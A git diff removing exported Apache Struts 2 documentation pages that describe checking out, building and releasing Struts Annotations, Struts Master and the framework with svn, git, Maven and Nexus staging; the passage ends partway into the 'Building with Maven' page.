-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=27832965">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=27832965">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=27832965">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=27832965">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h1 id="BuildingStrutsAnnotations-Content">Content</h1>
-<style type="text/css">/*<![CDATA[*/
-div.rbtoc1488974251775 {padding: 0px;}
-div.rbtoc1488974251775 ul {list-style: none;margin-left: 0px;}
-div.rbtoc1488974251775 li {margin-left: 0px;padding-left: 0px;}
-
-/*]]>*/</style><div class="toc-macro rbtoc1488974251775">
-<ul class="toc-indentation"><li><span class="TOCOutline">1</span> <a shape="rect" href="#BuildingStrutsAnnotations-Content">Content</a>
-<ul class="toc-indentation"><li><span class="TOCOutline">1.1</span> <a shape="rect" href="#BuildingStrutsAnnotations-BuildingSteps(StrutsAnnotations)">Building Steps (Struts Annotations)</a>
-<ul class="toc-indentation"><li><span class="TOCOutline">1.1.1</span> <a shape="rect" href="#BuildingStrutsAnnotations-Obtainafreshcheckoutofstrutsannotations">Obtain a fresh check out of struts annotations</a></li><li><span class="TOCOutline">1.1.2</span> <a shape="rect" href="#BuildingStrutsAnnotations-Preparerelease">Prepare release</a></li><li><span class="TOCOutline">1.1.3</span> <a shape="rect" href="#BuildingStrutsAnnotations-Performrelease">Perform release</a></li><li><span class [...]
-</li></ul>
-</li></ul>
-</div>
-
-<h2 id="BuildingStrutsAnnotations-BuildingSteps(StrutsAnnotations)">Building Steps (Struts Annotations)</h2>
-<h3 id="BuildingStrutsAnnotations-Obtainafreshcheckoutofstrutsannotations">Obtain a fresh check out of struts annotations</h3>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-svn co https://svn.apache.org/repos/asf/struts/maven/trunk/struts-annotations struts-annotations
-</pre>
-</div></div>
-<h3 id="BuildingStrutsAnnotations-Preparerelease">Prepare release</h3>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-mvn release:prepare -Dusername=yourSvnUsername -Dpassword=yourSvnPassword
-</pre>
-</div></div>
-<p>Accept the suggested tag name</p>
-
-<div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>For some reason, when using svn client 1.5, the release plugin might fail to tag the release, if it fails, run:<br clear="none">
-svn up -r head<br clear="none">
-mvn release:prepare -Dresume </p></div></div>
-
-<h3 id="BuildingStrutsAnnotations-Performrelease">Perform release</h3>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-mvn release:perform -Dusername=yourSvnUsername
-</pre>
-</div></div>
-<p>Log in to <a shape="rect" class="external-link" href="http://repository.apache.org/">Nexus</a> and <strong>close</strong> the staging repository.</p>
-<h3 id="BuildingStrutsAnnotations-SendaVOTEemail">Send a VOTE email</h3>
-<p>A sample template is at <a shape="rect" href="sample-announcements.html">Sample announcements</a> page (and DO wait for the 72 hours period)</p>
-<h3 id="BuildingStrutsAnnotations-Promoterelease">Promote release</h3>
-<p>If the Vote passed log in again to <a shape="rect" class="external-link" href="http://repository.apache.org/">Nexus</a> and <strong>promote</strong> the repository - it will be automatically synced with Maven Central Repository.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/building-struts-master.html b/content/docs/building-struts-master.html
deleted file mode 100644
index 7301ecc..0000000
--- a/content/docs/building-struts-master.html
+++ /dev/null
@@ -1,255 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Building Struts Master</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="contributors-guide.html">Contributors Guide</a>&nbsp;&gt;&nbsp;<a href="creating-and-signing-a-distribution.html">Creating and Signing a Distribution</a>&nbsp;&gt;&nbsp;<a href="building-struts-master.html">Building Struts Master</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Building Struts Master</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=27839549">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=27839549">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=27839549">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=27839549">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=27839549">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=27839549">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h1 id="BuildingStrutsMaster-Content">Content</h1>
-<style type="text/css">/*<![CDATA[*/
-div.rbtoc1488974272765 {padding: 0px;}
-div.rbtoc1488974272765 ul {list-style: none;margin-left: 0px;}
-div.rbtoc1488974272765 li {margin-left: 0px;padding-left: 0px;}
-
-/*]]>*/</style><div class="toc-macro rbtoc1488974272765">
-<ul class="toc-indentation"><li><span class="TOCOutline">1</span> <a shape="rect" href="#BuildingStrutsMaster-BuildingSteps(Struts)">Building Steps (Struts)</a>
-<ul class="toc-indentation"><li><span class="TOCOutline">1.1</span> <a shape="rect" href="#BuildingStrutsMaster-Obtainafreshcheckout.">Obtain a fresh checkout.</a></li><li><span class="TOCOutline">1.2</span> <a shape="rect" href="#BuildingStrutsMaster-Changesitetarget">Change site target</a></li><li><span class="TOCOutline">1.3</span> <a shape="rect" href="#BuildingStrutsMaster-Preparerelease">Prepare release</a></li><li><span class="TOCOutline">1.4</span> <a shape="rect" href="#Building [...]
-</li></ul>
-</div>
-
-<h2 id="BuildingStrutsMaster-BuildingSteps(Struts)">Building Steps (Struts)</h2>
-
-<h3 id="BuildingStrutsMaster-Obtainafreshcheckout.">Obtain a fresh checkout.</h3>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-svn co https://svn.apache.org/repos/asf/struts/maven/trunk/ struts-master
-</pre>
-</div></div> 
-
-<h3 id="BuildingStrutsMaster-Changesitetarget">Change site target</h3>
-
-<p>Apply needed changes, in most cases it will be upgrade to latest Apache Parent POM, eg. from 9 to 10</p>
-
-<p>commit the change</p>
-
-<h3 id="BuildingStrutsMaster-Preparerelease">Prepare release</h3>
-<p>Enter pom folder (cd pom) and tag the release by using the "release:prepare" goal of Maven: </p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-mvn release:prepare -Dusername=yourSvnUsername -Dpassword=yourSvnPassword -DautoVersionSubmodules=true
-</pre>
-</div></div>
-
-<p>For a <a shape="rect" class="external-link" href="http://maven.apache.org/plugins/maven-release-plugin/usage.html">dry run</a>, add '-DdryRun=true'. If you do a dry run, use 'mvn release:clean' to clean up after you have looked at the output. </p>
-
-<p>When prompted for the SCM tag name, follow this pattern: STRUTS_MASTER_[PATCH_VERSION]</p>
-
-<div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>For some reason, when using svn client 1.5, the release plugin might fail to tag the release, if it fails, run:<br clear="none">
-svn up -r head<br clear="none">
-mvn release:prepare -Dresume </p></div></div>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-[ERROR] Failed to execute goal org.apache.maven.plugins:maven-release-plugin:2.0-beta-7:prepare (default-cli) on project struts2-parent: Unable to tag SCM
-[ERROR] Provider message:
-[ERROR] The svn tag command failed.
-[ERROR] Command output:
-[ERROR] svn: Commit failed (details follow):
-[ERROR] svn: No such revision 1223030
-</pre>
-</div></div>
-
-<div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>If you get the error message above, try to re-run mvn release:prepare -Dusername=yourSvnUsername -Dpassword=yourSvnPassword -DautoVersionSubmodules=true command again, -Dresume flag is set to true by default and the plugin will resume the release process from where it failed before.</p></div></div>
-
-<p>This step will (<a shape="rect" class="external-link" href="http://maven.apache.org/plugins/maven-release-plugin/examples/prepare-release.html">more information</a>):</p>
-<ul><li>Check that there are no uncommitted changes in the sources</li><li>Check that there are no SNAPSHOT dependencies</li><li>Change the version in the poms from x-SNAPSHOT to a new version (you will be prompted for the versions to use)</li><li>Transform the SCM information in the POM to include the final destination of the tag</li><li>Run the project tests against the modified POMs to confirm everything is in working order</li><li>Commit the modified POMs</li><li>Tag the code in the  [...]
-
-
-<h3 id="BuildingStrutsMaster-Performtherelease">Perform the release </h3>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-mvn release:perform -Dusername=yourSvnUsername
-</pre>
-</div></div> 
-
-<p>This step will (<a shape="rect" class="external-link" href="http://maven.apache.org/plugins/maven-release-plugin/examples/perform-release.html">more information</a>):</p>
-<ul><li>Checkout from an SCM URL with optional tag</li><li>Run the predefined Maven goals to release the project (by default, deploy site-deploy)</li></ul>
-
-
-<p>After this step the artifacts will be hosted by <a shape="rect" class="external-link" href="http://repository.apache.org/">Nexus </a></p>
-
-<p>If you need to run perform again, (or in a different box), do:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-svn co http://svn.apache.org/repos/asf/struts/struts2/tags/$VERSION
-cd $VERSION
-mvn deploy site-deploy --no-plugin-updates -DperformRelease=true 
-</pre>
-</div></div>
-
-<p>Next, log in to <a shape="rect" class="external-link" href="http://repository.apache.org/">Nexus </a> and <strong>close</strong> staging repository.</p>
-
-<h3 id="BuildingStrutsMaster-Announceavailability">Announce availability</h3>
-<p>Send a short e-mail to dev@struts.a.o informing about the new packages and to give people enough time to test the distribution (actual bits). Wait around a week before posting Vote. If no show-stoppers reported, start a vote thread for build quality designation.</p>
-
-<p>The new build is available from staging repository -&gt; https://repository.apache.org/content/groups/staging/org/apache/struts/struts-master/\[PATCH_VERSION\]/</p>
-
-<h3 id="BuildingStrutsMaster-Voteonit">Vote on it</h3>
-<p>Post a release/quality vote to the dev list (and <strong>only</strong> the dev list). The example mail is on <a shape="rect" href="sample-announcements.html">Sample Announcements</a> page. <br clear="none">
-If the vote result is for an ASF release (i.e. not test build), update site, announce. If the vote result is for GA, push to central.</p>
-
-<h3 id="BuildingStrutsMaster-Promoterelease">Promote release</h3>
-<p>Log in again to <a shape="rect" class="external-link" href="http://repository.apache.org/">Nexus</a> and <strong>release</strong> the repository, it will be automatically replicated across Maven Repositories<br clear="none">
-See <a shape="rect" class="external-link" href="http://maven.apache.org/developers/release/apache-release.html">Releasing a Maven-based project</a> for further details.</p>
-
-<h3 id="BuildingStrutsMaster-Waitforrsync">Wait for rsync</h3>
-<p>Wait 24 hours before proceeding. </p>
-
-<h3 id="BuildingStrutsMaster-Postannouncements">Post announcements </h3>
-<p>We leave this as the last step, once the artifacts have had time to sync up on the mirrors. Target it to: user@struts.a.o and announcements@struts.a.o, samples are available at <a shape="rect" href="sample-announcements.html">Sample announcements</a> page</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/building-the-framework-from-source.html b/content/docs/building-the-framework-from-source.html
deleted file mode 100644
index d48785e..0000000
--- a/content/docs/building-the-framework-from-source.html
+++ /dev/null
@@ -1,172 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Building the Framework from Source</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="contributors-guide.html">Contributors Guide</a>&nbsp;&gt;&nbsp;<a href="building-the-framework-from-source.html">Building the Framework from Source</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Building the Framework from Source</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13829">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13829">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13829">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13829">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13829">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13829">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="BuildingtheFrameworkfromSource-WhyBuild?">Why Build?</h2><p>Most developers will never need to build the framework from source. The distribution package contains everything a developer needs to get started and become productive with the framework. For more on how to go to work with the distributed binaries right away, see <a shape="rect" href="ready-set-go.html">Ready, Set, Go!</a>. However, there are situations when someone will want to bu [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">&gt; cd C:\projects\Apache\
-&gt; git clone https://git-wip-us.apache.org/repos/asf/struts.git
-</pre>
-</div></div><h2 id="BuildingtheFrameworkfromSource-BuildingwithMaven">Building with Maven</h2><p>The default build environment is Maven. To get started with Maven</p><ul><li>Download Maven 3</li><li>Extract Maven 3 to a directory of your choice<ul><li>(e.g. <code>\opt\Apache\Maven\maven-3.3.3</code>)</li></ul></li><li>Add the bin folder under that directory to your system path<ul><li>(e.g. <code>PATH=%PATH%;C:\opt\Apache\Maven\maven-<span>3.3.3</span></code>)</li></ul></li></ul><p>Change [...]
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">&gt; cd C:\projects\Apache\struts\
-&gt; mvn clean install -Pall
-</pre>
-</div></div><p>That will take care of the basic maven build. There is a bunch more that you can do. Checkout out <a shape="rect" href="building-with-maven.html">Building with Maven</a> for more information.</p><p><strong>NOTE:</strong> The above assumes that the Struts build depends on a version of XWork which is available from a Maven repository. If this is not the case (e.g. when Struts depends on an unreleased XWork snapshot), you will need to build XWork yourself, and install it into [...]
-        </div>
-
-                    <div class="tabletitle">
-                Children
-            <span class="smalltext" id="show" style="display: inline;">
-              <a href="javascript:showChildren()">Show Children</a></span>
-            <span class="smalltext" id="hide" style="display: none;">
-              <a href="javascript:hideChildren()">Hide Children</a></span>
-            </div>
-            <div class="greybox" id="children" style="display: none;">
-                                                    $page.link($child)
-                    <span class="smalltext">(Apache Struts 2 Documentation)</span>
-                    <br>
-                            </div>
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/building-with-maven.html b/content/docs/building-with-maven.html
deleted file mode 100644
index 83d8398..0000000
--- a/content/docs/building-with-maven.html
+++ /dev/null
@@ -1,382 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Building with Maven</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="contributors-guide.html">Contributors Guide</a>&nbsp;&gt;&nbsp;<a href="building-the-framework-from-source.html">Building the Framework from Source</a>&nbsp;&gt;&nbsp;<a href="building-with-maven.html">Building with Maven</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
